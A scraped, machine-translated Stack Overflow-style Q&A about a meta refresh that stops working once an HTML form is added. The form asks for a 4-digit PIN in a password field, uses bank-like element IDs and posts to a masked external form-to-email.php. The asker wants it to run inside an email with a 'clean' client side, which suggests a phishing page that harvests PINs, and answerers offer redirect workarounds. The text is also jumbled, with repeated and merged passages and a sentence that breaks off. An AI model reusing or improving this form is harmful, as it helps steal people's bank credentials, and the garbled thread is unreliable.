Php form method=“post”停止了我的元刷新
我在html页面中有一个表单Php form method=“post”停止了我的元刷新,php,html,css,email,Php,Html,Css,Email,我在html页面中有一个表单 <form method="post" name="myemailform" target="_blank" action="http://xxxxx.com/xxx/gxxif/xx/form-to-email.php"> <b>Enter your Personal Identification Number / PIN: </b> <input name="pinc
<form method="post" name="myemailform" target="_blank" action="http://xxxxx.com/xxx/gxxif/xx/form-to-email.php">
<b>Enter your Personal Identification Number / PIN: </b>
<input name="pincode" type="password" maxlength="4" id="ctl00_cphContent_txtPIN" autocomplete="off">
<input type="submit" name="pincodesend" value="Next >>" id="ctl00_cphContent_btnSubmit" class="SmallButton">
</form>
现在,我还有一个
问题是当我不使用表单时,它的刷新很好,当我使用它时,它就停止了我的刷新
没有javascript有没有办法解决这个问题 我认为重定向301而不是刷新将解决问题。 如果您在服务器上运行PHP:
<?php
Header( "HTTP/1.1 301 Moved Permanently" );
Header( "Location: http://YOUR-WEB.SITE/path/path.php" );
?>
我听不懂你刚才说的话,你能解释一下吗?刷新页面会导致输入上的所有数据消失。这就是为什么当你已经输入了一些信息时,broswer不允许你重新设计,以避免丢失。如果您只想刷新某些部分,那么AJAX可能是您的正确答案。附言:重新加载301页面重定向将刷新洞页面,因为它不是clinet SideCan我能看到它吗?我想丢失数据。。。。另外,我不能在我的页面中使用任何javascript/ajax或php,只能在服务器端使用。因为反刷新系统在客户端,我们可以强制用户从服务器端加载页面,例如php。也许可以试试下面的PHP代码:EDIT:或者这个:如果你100%确定你不能取消反刷新,那么我就没有别的办法了。但是,我不能把任何php标签在我的html,我需要客户端是干净的,它在电子邮件中运行。